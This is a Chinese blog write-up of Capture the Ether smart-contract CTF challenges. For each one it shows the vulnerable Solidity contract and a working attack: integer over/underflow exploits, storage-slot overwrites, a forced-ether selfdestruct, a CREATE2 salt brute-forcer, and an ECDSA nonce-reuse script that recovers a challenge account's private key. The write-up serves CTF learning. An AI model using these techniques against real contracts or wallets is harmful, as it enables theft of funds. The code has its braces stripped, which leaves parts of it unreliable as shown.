capture the ether靶场题解(Account)

Posted luc1fer丶

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了capture the ether靶场题解(Account)相关的知识,希望对你有一定的参考价值。

题目预览

Fuzzy identity

分析

题目合约:

pragma solidity ^0.4.21;

interface IName 
    function name() external view returns (bytes32);


contract FuzzyIdentityChallenge 
    bool public isComplete;

    function authenticate() public 
        require(isSmarx(msg.sender));
        require(isBadCode(msg.sender));

        isComplete = true;
    

    function isSmarx(address addr) internal view returns (bool) 
        return IName(addr).name() == bytes32("smarx");
    

    function isBadCode(address _addr) internal pure returns (bool) 
        bytes20 addr = bytes20(_addr);
        bytes20 id = hex"000000000000000000000000000000000badc0de";
        bytes20 mask = hex"000000000000000000000000000000000fffffff";

        for (uint256 i = 0; i < 34; i++) 
            if (addr & mask == id) 
                return true;
            
            mask <<= 4;
            id <<= 4;
        

        return false;
    

题目要求我们将isComplete变为true。
很明显必须调用authenticate函数,也就要饶过两个require。
第一个require要求我们满足IName函数,并且返回值为bytes32(“smarx”),很容易满足。
第二个require意思是,我们用来攻击的地址中必须存在"badc0de"这一串字符,也就很容易想到使用creat2来完成。

攻击

攻击合约:

pragma solidity ^0.4.21;
import "./FuzzyIdentity.sol";


contract attack
    function name() external view returns (bytes32)
        return bytes32("smarx");
    

    function att(address _Fuzzy) public 
        FuzzyIdentityChallenge(_Fuzzy).authenticate();
    

部署合约:

contract deployer
    bytes attackCode = hex"608060405234801561001057600080fd5b5061019a806100206000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610051578063db97040214610084575b600080fd5b34801561005d57600080fd5b506100666100c7565b60405180826000191660001916815260200191505060405180910390f35b34801561009057600080fd5b506100c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506100ef565b005b60007f736d617278000000000000000000000000000000000000000000000000000000905090565b8073ffffffffffffffffffffffffffffffffffffffff1663380c7a676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561015357600080fd5b505af1158015610167573d6000803e3d6000fd5b50505050505600a165627a7a723058204273cdd8b92be0f5d505d2cc5fb213a3d50227101e51e54b95e9bd5592b6c6e80029";
    function deploy(bytes32 salt) public returns(address)
        bytes memory bytecode = attackCode;
        address addr;
        assembly 
            addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
        
        return addr;
    
    function getHash()public view returns(bytes32)
        return keccak256(attackCode);
    

思路很简单,使用creat2,我们知道creat2可以根据用户输入salt的不同,部署可控地址的合约,我们只需要将攻击合约的字节码放入deploy函数,再根据脚本算出生成对应地址需要的salt。
脚本如下:

from web3 import Web3

s1 = '0xff7EF2e0048f5bAeDe046f6BF797943daF4ED8CB47'

s3 = '35206f900ec99a80b49aaffd98e9ad7e94f0de8df30a79b6797d52f7eaa76ea1'

i = 0
while(1):
    salt = hex(i)[2:].rjust(64, '0')
    s = s1+salt+s3
    hashed = Web3.sha3(hexstr=s)
    hashed_str = ''.join(['%02x' % b for b in hashed])
    if 'badc0de' in hashed_str[24:]:
        print(salt,hashed_str)
        break
    i += 1
    print(salt)


将部署合约的地址放入s1,攻击合约字节码哈希后放入s3,经过一段时间即可生成出salt,将salt放入deploy函数,即成功部署attack合约,调用攻击函数即可。

Public Key

分析

题目合约:

pragma solidity ^0.4.21;

contract PublicKeyChallenge 
    address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
    bool public isComplete;

    function authenticate(bytes publicKey) public 
        require(address(keccak256(publicKey)) == owner);

        isComplete = true;
    

合约要求我们输入的参数哈希后为owner的地址,简单来说就是要我们拿到这个地址的公钥。
这里涉及到以太坊上公私钥生成算法和椭圆曲线数字签名算法,这里不细讲,只需要知道,当知道消息hash,r,s,v也就是消息签名 的三部分,我们就可以得到对应的公钥。

我们去区块链浏览器上查询该地址曾经的交易记录,很轻松能够查到这笔由该地址发出的交易

根据web3.eth.getTransaction来获取到该交易的hash,r,s,v

利用这些已知数据通过脚本来获取到对应的公钥,脚本如下:

const EthereumTx = require('ethereumjs-tx');
const util = require('ethereumjs-util');

var rawTx = 
  nonce: '0x00',
  gasPrice: '0x3b9aca00',
  gasLimit: '0x15f90',
  to: '0x6B477781b0e68031109f21887e6B5afEAaEB002b',
  value: '0x00',
  data: '0x5468616e6b732c206d616e21',
  v: '0x29',
  r: '0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7',
  s: '0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962'
;

var tx = new EthereumTx(rawTx);

pubkey=tx.getSenderPublicKey();
pubkeys=pubkey.toString('hex');
var address = util.sha3(pubkey).toString('hex').slice(24);

console.log(pubkeys);
console.log(address);

将对应的公钥放入authenticate调用即可。

攻击

运行脚本,算出公钥

公钥放入函数调用栏,调用即可完成

Account Takeover

分析

题目合约:

pragma solidity ^0.4.21;

contract AccountTakeoverChallenge 
    address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
    bool public isComplete;

    function authenticate() public 
        require(msg.sender == owner);

        isComplete = true;
    

与上题有些类似,只不过这个题需要我们拿到账户的私钥,并根据私钥使用该账户来调用这个函数。
同样能够在区块链浏览器上查到交易,且我们能够发现,本来r应该唯一的交易,确存在两笔交易拥有相同的r,我们可以根据这个计算出对应账户的私钥。

攻击

攻击脚本:


# -*-coding:utf-8-*-
from web3 import Web3, HTTPProvider
from pwn import log
infura_url = 'https://ropsten.infura.io/v3/[api_key]'
web3 = Web3(Web3.HTTPProvider(infura_url))

a= web3.eth.get_transaction("0x061bf0b4b5fdb64ac475795e9bc5a3978f985919ce6747ce2cfbbcaccaf51009")
log.info("r = 0".format(a.r.hex()))
log.info("s = 0".format(a.s.hex()))
log.info("v= 0".format(a.v))

a= web3.eth.get_transaction("0xd79fc80e7b787802602f3317b7fe67765c14a7d40c3e0dcb266e63657f881396")
log.info("r = 0".format(a.r.hex()))
log.info("s = 0".format(a.s.hex()))
log.info("v= 0".format(a.v))


r = 0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166
# txid:
0xd79fc80e7b787802602f3317b7fe67765c14a7d40c3e0dcb266e63657f881396
s2 = 0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8
z2 = 0x350f3ee8007d817fbd7349c477507f923c4682b3e69bd1df5fbb93b39beb1e04
# txid:
0x061bf0b4b5fdb64ac475795e9bc5a3978f985919ce6747ce2cfbbcaccaf51009
s1 = 0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de
z1 = 0x4f6a8370a435a27724bbc163419042d71b6dcbeb61c060cc6816cda93f57860c
# prime order p
p = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
# based on Fermat's Little Theorem
# works only on prime n

def inverse_mod(a, n):
    return pow(a, n - 2, n)

k=(z1-z2)*inverse_mod(s1-s2,p)%p               #derivekfors1-s2
pk = (s1 * k - z1) * inverse_mod(r, p) % p     # derive private key 
pkNeg=(-s1*(-k%p)-z1)*inverse_mod(r,p)%p       #-k(modp)of s1 - s2 == -s1 + s2, check -s1
log.info('k           = :x'.format(k))
log.info('k negation  = :x'.format(-k % p))


if pk == pkNeg:  # should not be false
    log.success('private key = :x'.format(pk))


k=(z1-z2)*inverse_mod(s1+s2,p)%p #derivekfors1+s2
pk = (s1 * k - z1) * inverse_mod(r, p) % p # derive private key pkNeg=(-s1*(-k%p)-z1)*inverse_mod(r,p)%p #-k(modp)of s1 + s2 == -s1 - s2, double check -s1
log.info('k           = :x'.format(k))
log.info('k negation  = :x'.format(-k % p))

if pk == pkNeg:  # should not be false
    log.success('private key = :x'.format(pk))


from eth_account import Account
acct =Account.from_key("614f5e36cd55ddab0947d1723693fef5456e5bee24738ba90bd33c0c6e68e269")
log.info('account addr :x'.format(acct.address))

私钥计算出来后,导入账户,并使用该账户调用合约即可。

capture the ether靶场题解(Math)

题目预览

Token sale

分析

题目代码:

pragma solidity ^0.4.21;

contract TokenSaleChallenge 
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;

    function TokenSaleChallenge(address _player) public payable 
        require(msg.value == 1 ether);
    

    function isComplete() public view returns (bool) 
        return address(this).balance < 1 ether;
    

    function buy(uint256 numTokens) public payable 
        require(msg.value == numTokens * PRICE_PER_TOKEN);

        balanceOf[msg.sender] += numTokens;
    

    function sell(uint256 numTokens) public 
        require(balanceOf[msg.sender] >= numTokens);

        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    

目标依然是调用isComplete函数,此题中就是需要题目合约的余额小于1ether。
由于属于math系列,所以我看的时候对运算很敏锐,很容易就能发现require(msg.value == numTokens * PRICE_PER_TOKEN);会存在一个很明显的溢出,只要我们numTokens传的足够大,在乘以10**18次方后,我们的msg.value就能够超过这个溢出之后的值,我们的余额就会变得非常巨大。

攻击

攻击合约:

contract attack
    uint256 max = 2**256-1;
    uint256 public num1;
    uint256 public num2;
    function att()public
        num1 = max/10**18;
        num2 = (num1+1)*10**18;
    

攻击合约没啥目的,只是为了算出多大的数可以溢出,以及我们需要付出多少的value。

我们在buy中传入num1+1,并给出比num2相等或更多的wei,就能够让我们的余额发生溢出。

如图所示,余额很大,所以我们提出1ether毫无问题,合约剩下的eth不足1eth,isComplete成功调用,完成攻击。

Token whale

分析

TokenWhale合约:

pragma solidity ^0.4.21;

contract TokenWhaleChallenge 
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public 
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    

    function isComplete() public view returns (bool) 
        return balanceOf[player] >= 1000000;
    

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal 
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    

    function transfer(address to, uint256 value) public 
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public 
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    

    function transferFrom(address from, address to, uint256 value) public 
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    

完成此关,需要我们的token余额大于1000000.

通读合约,合约中有两种转账方式,一种transfer,一种transferFrom,transfer中我并没有看出很明显的漏洞。
但我注意到tansferFrom调用的内部转账函数也是_transfer,而在transferFrom中require(balanceOf[from] >= value);限制的是from的余额大于value,但_transfer中减少的是调用者的余额,所以只要from和调用者不是同一个地址,且to和调用者也不是一个地址,那么调用者的余额就会发生下溢。

攻击

首先部署时输入我们第一个账户的地址。

对第二个账户进行approve

使用第二个账户进行transferFrom

调用完成后第二个账户的balance就发生了下溢,我们再把余额转给第一个账户即可。


完成攻击。

Retirement fund

分析

RetirementFund合约:

pragma solidity ^0.4.21;

contract RetirementFundChallenge 
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;

    function RetirementFundChallenge(address player) public payable 
        require(msg.value == 1 ether);

        beneficiary = player;
        startBalance = msg.value;
    

    function isComplete() public view returns (bool) 
        return address(this).balance == 0;
    

    function withdraw() public 
        require(msg.sender == owner);

        if (now < expiration) 
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
         else 
            msg.sender.transfer(address(this).balance);
        
    

    function collectPenalty() public 
        require(msg.sender == beneficiary);

        uint256 withdrawn = startBalance - address(this).balance;

        // an early withdrawal occurred
        require(withdrawn > 0);

        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    

此关要求我们让合约的余额为零。

这个合约有两种方式可以取走合约所有的钱,一个是withdraw函数,owner在十年后可以取走,但合约中好像没有方法使我们成为owner。

第二种方式是collectPenalty函数,我们可以直接调用uint256 withdrawn = startBalance - address(this).balance require(withdrawn > 0);;但需要我们饶过这个限制,初步看起来好像没有办法,因为合约不存在payable函数,也就无法向其中存入余额。
但自毁合约是可以无条件向任意地址转账的,只要我们通过自毁合约向目标合约转账,就可以让withdraw发生下溢,绕过限制。

攻击

攻击合约:

contract attack
    function destruct(address _addr)public payable
        selfdestruct(_addr);
    

合约就一个目的,通过自毁向目标合约转钱。

首先部署目标合约并传入我们的账户地址。

然后部署攻击合约,调用att函数并将目标合约的地址放入。

调用collectPenalty函数即可提出eth并完成攻击。

Mapping

分析

题目合约:

pragma solidity ^0.4.21;

contract MappingChallenge 
    bool public isComplete;
    uint256[] map;

    function set(uint256 key, uint256 value) public 
        // Expand dynamic array as needed
        if (map.length <= key) 
            map.length = key + 1;
        

        map[key] = value;
    

    function get(uint256 key) public view returns (uint256) 
        return map[key];
    

这个题要求我们将isComplete变为true。

原理很简单,除了isComplete就只剩下一个map数组了,而这个数组的长度和值我们也可以任意设定,所以只要让数组的长度变得很大,发生溢出即可。

攻击

攻击合约:

contract figure
    function fig()public pure returns(uint256)
        return (uint256(-1)-uint256(keccak256(bytes32(1))))+1;
    
    

攻击合约只是用来计算从map的起始位置到他发生溢出需要多少位即可,得到的结果是35707666377435648211887908874984608119992236509074197713628505308453184860938。

原理很简单,因为在solidity中,在storage中会初始化数组的长度,而数组的起始位置是通过keccak256(bytes32("数组长度所在插槽"))计算的,所以用2**256-1再减去这个数加一就可以让数组的最后一位是整个storage的第一位,覆盖isCompleted变量。

调用set函数将value设定为1,isComplete即可变为true。

Donation

分析

题目合约:

pragma solidity ^0.4.21;

contract DonationChallenge 
    struct Donation 
        uint256 timestamp;
        uint256 etherAmount;
    
    Donation[] public donations;

    address public owner;

    function DonationChallenge() public payable 
        require(msg.value == 1 ether);
        
        owner = msg.sender;
    
    
    function isComplete() public view returns (bool) 
        return address(this).balance == 0;
    

    function donate(uint256 etherAmount) public payable 
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);

        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    

    function withdraw() public 
        require(msg.sender == owner);
        
        msg.sender.transfer(address(this).balance);
    

题目要求我们取走合约中剩下的所有钱。

很明显能发现我们需要成为owner才能够将钱提取出来,但合约中似乎没有能够直接改变owner的值,但我们注意到他定义了一个结构体和一个结构体切片。

并且在donation函数中直接初始化了结构体再将其存入数组,这样的操作导致的直接后果就是slot0的数组长度和slot1的owner会分别被timestamp和etherAmount所覆盖,所以我们可以通过数组etherAmount的方式,直接覆盖结构体。

攻击

攻击合约:

contract figure
    function fig(uint256 amount)public pure returns(uint256)
        return amount/10**36;
    

攻击合约的目的只是为了计算出我们需要给donation传入的eth,从而绕过require(msg.value == etherAmount / scale);限制。

传入我们的地址,输入对应的wei值,再调用donate函数,owner就变成了我们的地址

withdraw后,攻击完成。

Fifty years

分析

题目合约:

pragma solidity ^0.4.21;

contract FiftyYearsChallenge 
    struct Contribution 
        uint256 amount;
        uint256 unlockTimestamp;
    
    Contribution[] queue;
    uint256 head;

    address owner;
    function FiftyYearsChallenge(address player) public payable 
        require(msg.value == 1 ether);

        owner = player;
        queue.push(Contribution(msg.value, now + 50 years));
    

    function isComplete() public view returns (bool) 
        return address(this).balance == 0;
    

    function upsert(uint256 index, uint256 timestamp) public payable 
        require(msg.sender == owner);

        if (index >= head && index < queue.length) 
            // Update existing contribution amount without updating timestamp.
            Contribution storage contribution = queue[index];
            contribution.amount += msg.value;
         else 
            // Append a new contribution. Require that each contribution unlock
            // at least 1 day after the previous one.
            require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

            contribution.amount = msg.value;
            contribution.unlockTimestamp = timestamp;
            queue.push(contribution);
        
    

    function withdraw(uint256 index) public 
        require(msg.sender == owner);
        require(now >= queue[index].unlockTimestamp);

        // Withdraw this and any earlier contributions.
        uint256 total = 0;
        for (uint256 i = head; i <= index; i++) 
            total += queue[i].amount;

            // Reclaim storage.
            delete queue[i];
        

        // Move the head of the queue forward so we don't have to loop over
        // already-withdrawn contributions.
        head = index + 1;

        msg.sender.transfer(total);
    

合约要求我们取走合约中所有的余额。

我们很容易注意到合约中存在结构体和关于它的数组,也就能够联想到变量覆盖。
整个合约简单来说,就是玩家向合约中存钱,在经过一段时间后才能够将钱提出来,构造函数中将我们传入的一ether存入了数组,并且五十年后才能取出,且在之后的每次存钱,都会在五十年的基础上增加一天。

if (index >= head && index < queue.length) 
            // Update existing contribution amount without updating timestamp.
            Contribution storage contribution = queue[index];
            contribution.amount += msg.value;
         else 
            // Append a new contribution. Require that each contribution unlock
            // at least 1 day after the previous one.
            require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

            contribution.amount = msg.value;
            contribution.unlockTimestamp = timestamp;
            queue.push(contribution);
        

if代码块本身的逻辑是没有问题的,并不会出现变量覆盖的情况,但else就不一样了,由于没有进if,相当于直接创建了一个结构体变量,这势必会造成变量覆盖,而能够覆盖的就是数组的长度以及head。而在取钱的时候,head必须为零我们才能取出数组中第一个元素的余额,也就是最开始的1 ether。
并且,require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);在这个require中很明显存在一个溢出的问题,只要数组最后一个元素的unlockTimestamp够大,这里就会出现溢出。

攻击逻辑已经出来了,我们来分析一下具体步骤:
首先我们要让我们第一次传入的unlockTimestamp足够大,才能够在第二次传入的时候发生溢出,才能够让head为0。
我们计算出需要传入的unlockTimestamp为115792089237316195423570985008687907853269984665640564039457584007913129553536。
由于数组的长度取决于我们传入的wei数,而在push中会对数组的length++,length又跟amount公用一个slot,所以我们传入1wei则长度和amount都2,我们两次都传入1wei,则第一次push的结构体会被第二次push的结构体覆盖,具体原因我就不一一阐释了。
而第二次的timeStamp为0,我们可以很轻松通过withdraw的require,分析到这里,已经可以开始攻击了。

攻击

第一步:调用upsert方法,传入index(只要大于1就好),timestamp为上述溢出值

第二步,调用upsert方法,传入index(大于2就好),timestamp为0

第三步:调用withdraw方法传入1即可,到这里攻击完成

以上是关于capture the ether靶场题解(Account)的主要内容,如果未能解决你的问题,请参考以下文章

The Ether 靶场

VulnHub渗透测试实战靶场 - THE ETHER: EVILSCIENCE

blockchain | 区块链安全靶场 The Ethernaut

Pwn系列之Protostar靶场 Stack6题解

Capture all the GUI windows' Image that Running on the Desktop

[纵横网络靶场社区]工控安全取证